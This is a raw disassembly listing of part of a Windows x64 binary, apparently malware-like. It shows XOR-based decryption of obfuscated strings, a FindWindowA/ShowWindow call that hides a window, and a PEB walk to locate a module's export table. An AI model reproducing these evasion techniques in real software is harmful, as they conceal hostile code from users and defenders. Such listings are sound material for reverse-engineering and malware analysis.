mov r10, rax
movdqa xmm6, xmmword [0x1401ff710]
cmp word [rax + 0x4a], 0
je 0x1400754d4
mov r8d, r14d
cmp r15d, 2
jl 0x140075497
mov rcx, rax
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x1400753a0
cmp r8d, 0x26
jge 0x1400754d4
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x26
jl 0x1400754a0
mov rdx, r10
lea rcx, [rsp + 0xd0]
call fcn.140061cc0
nop
lea rdx, [rsp + 0xd0]
mov ecx, 2
call fcn.140022a20
nop
lea rcx, [rsp + 0xd0]
call fcn.140061ca0
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x10d0]
call fcn.1400799f0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14007554f
xor byte [rax], 0x38
xor byte [rax + 1], 0x39
xor byte [rax + 2], 0x3a
xor byte [rax + 3], 0x3b
xor byte [rax + 4], 0x3c
xor byte [rax + 5], 0x3d
xor byte [rax + 6], 0x3e
xor byte [rax + 7], 0x3f
xor cl, 0x40
mov byte [rax + 8], cl
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14007556a
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140034250
mov byte [rsp + 0x10d0], 0
lea rcx, [rsp + 0x10d0]
test al, al
je 0x1400756f5
lea rdx, [rsp + 0x500]
call fcn.140079a10
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x140075ba0
mov r8d, r14d
cmp r15d, 2
jl 0x1400756b5
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400755c0
cmp r8d, 0x25
jge 0x140075ba0
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x1400756c0
jmp 0x140075ba0
lea rdx, [rsp + 0x300]
call fcn.140079a40
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x140075860
mov r8d, r14d
cmp r15d, 2
jl 0x140075821
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140075730
cmp r8d, 0x23
jge 0x140075860
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140075830
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x10d0]
call fcn.140079a70
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x140075a00
mov r8d, r14d
cmp r15d, 2
jl 0x1400759c1
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400758d0
cmp r8d, 0x14
jge 0x140075a00
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400759d0
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
call fcn.140070310
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x10d0]
call fcn.140079a90
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x140075ba0
cmp r15d, 2
jl 0x140075b5b
mov edx, r14d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140075a70
jmp 0x140075ba0
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140075b70
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
call fcn.140034250
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x10d0]
call fcn.140079ab0
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x140075d40
mov r8d, r14d
cmp r15d, 2
jl 0x140075d01
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140075c10
cmp r8d, 0x1c
jge 0x140075d40
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140075d10
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
call fcn.140034140
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x10d0]
call fcn.140079ae0
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x140075ee0
mov r8d, r14d
cmp r15d, 2
jl 0x140075ea1
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140075db0
cmp r8d, 0x1b
jge 0x140075ee0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140075eb0
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xab0]
lea rcx, [rsp + 0x10d0]
call fcn.140079b10
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x10d0]
call fcn.140079bc0
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + 0x10d0]
call fcn.140079c70
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xea0]
lea rcx, [rsp + 0x10d0]
call fcn.140079d20
lea rcx, [rsp + 0x10d8]
call fcn.1400053e0
mov rbx, rax
cmp word [rsp + 0xbf4], 0
je 0x1400760f7
mov r8d, r14d
cmp r15d, 2
jl 0x1400760ad
lea rcx, [rsp + 0xab0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0xa0
jl 0x140075fb0
cmp r8d, 0xa3
jge 0x1400760f7
movsxd rax, r8d
lea r9, [rsp + 0xab0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xa3
jl 0x1400760c0
lea rdx, [rsp + 0xab0]
lea rcx, [rsp + 0x890]
call fcn.140061cc0
nop
cmp word [rsp + 0xd44], 0
je 0x140076277
mov r8d, r14d
cmp r15d, 2
jl 0x14007622e
lea rcx, [rsp + 0xc00]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0xa0
jl 0x140076131
cmp r8d, 0xa3
jge 0x140076277
movsxd rax, r8d
lea r9, [rsp + 0xc00]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xa3
jl 0x140076240
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x8b0]
call fcn.140061cc0
nop
cmp word [rsp + 0xe94], 0
je 0x1400763f7
mov r8d, r14d
cmp r15d, 2
jl 0x1400763ae
lea rcx, [rsp + 0xd50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0xa0
jl 0x1400762b1
cmp r8d, 0xa3
jge 0x1400763f7
movsxd rax, r8d
lea r9, [rsp + 0xd50]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xa3
jl 0x1400763c0
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + 0x8d0]
call fcn.140061cc0
nop
cmp word [rsp + 0xfe4], 0
je 0x140076577
mov r8d, r14d
cmp r15d, 2
jl 0x14007652e
lea rcx, [rsp + 0xea0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0xa0
jl 0x140076431
cmp r8d, 0xa3
jge 0x140076577
movsxd rax, r8d
lea r9, [rsp + 0xea0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xa3
jl 0x140076540
lea rdx, [rsp + 0xea0]
lea rcx, [rsp + 0x8f0]
call fcn.140061cc0
nop
lea r8, [rsp + 0x910]
lea rdx, [rsp + 0x890]
lea rcx, [rsp + 0x130]
call fcn.14002c1e0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1f0], xmm0
mov r8, rbx
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x1b0]
call fcn.14007a330
nop
lea r9, [fcn.140061ca0]
mov edx, 0x20
mov r8d, 4
lea rcx, [rsp + 0x890]
call fcn.14015d61c
lea rcx, [rsp + 0x148]
call fcn.14002fa00
nop
lea rcx, [rsp + 0x1b0]
call fcn.14007a300
mov rdx, rax
lea rcx, [rsp + 0x148]
call fcn.14007a7a0
lea rcx, [rsp + 0x1b0]
call fcn.140006fa0
mov rsi, rax
lea rcx, [rsp + 0x1b0]
call fcn.14007a310
mov r13, rax
cmp rsi, rax
je 0x1400766b1
nop dword [rax]
lea rcx, [rsp + 0x10d0]
call fcn.1400053e0
mov rdi, rax
lea rdx, [rsp + 0x10d8]
mov rcx, rsi
call fcn.1400247e0
mov rbx, qword [rax]
lea rdx, [rsp + 0x2f8]
mov rcx, rsi
call fcn.140024800
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x300]
call fcn.140027590
nop
mov rdx, rax
lea rcx, [rsp + 0x148]
call fcn.14007a7e0
nop
lea rcx, [rsp + 0x300]
call fcn.1400073c0
add rsi, 0x20
cmp rsi, r13
jne 0x140076640
call fcn.140006950
lea rcx, [rsp + 0xa8]
call fcn.14002fa00
nop
lea rcx, [rsp + 0x148]
call fcn.140006fa0
mov rbx, rax
lea rcx, [rsp + 0x148]
call fcn.14007a310
mov rdi, rax
cmp rbx, rax
je 0x14007678c
nop dword [rax]
mov rdx, rbx
lea rcx, [rsp + 0x130]
call fcn.140070040
nop
lea rcx, [rsp + 0x130]
call fcn.140026bd0
test al, al
jne 0x1400769a1
lea rcx, [rsp + 0xf0]
call fcn.14002fa00
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x130]
call fcn.140006660
lea rcx, [rsp + 0xf0]
call fcn.140026bd0
test al, al
jne 0x140076993
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xa8]
call fcn.14007a550
nop
lea rcx, [rsp + 0xf0]
call fcn.1400299a0
nop
lea rcx, [rsp + 0x130]
call fcn.1400299a0
add rbx, 0x20
cmp rbx, rdi
jne 0x1400766f0
lea rcx, [rsp + 0x338]
call fcn.14002fa00
nop
lea rdx, [rsp + 0x338]
lea rcx, [rsp + 0xa8]
call fcn.140070af0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
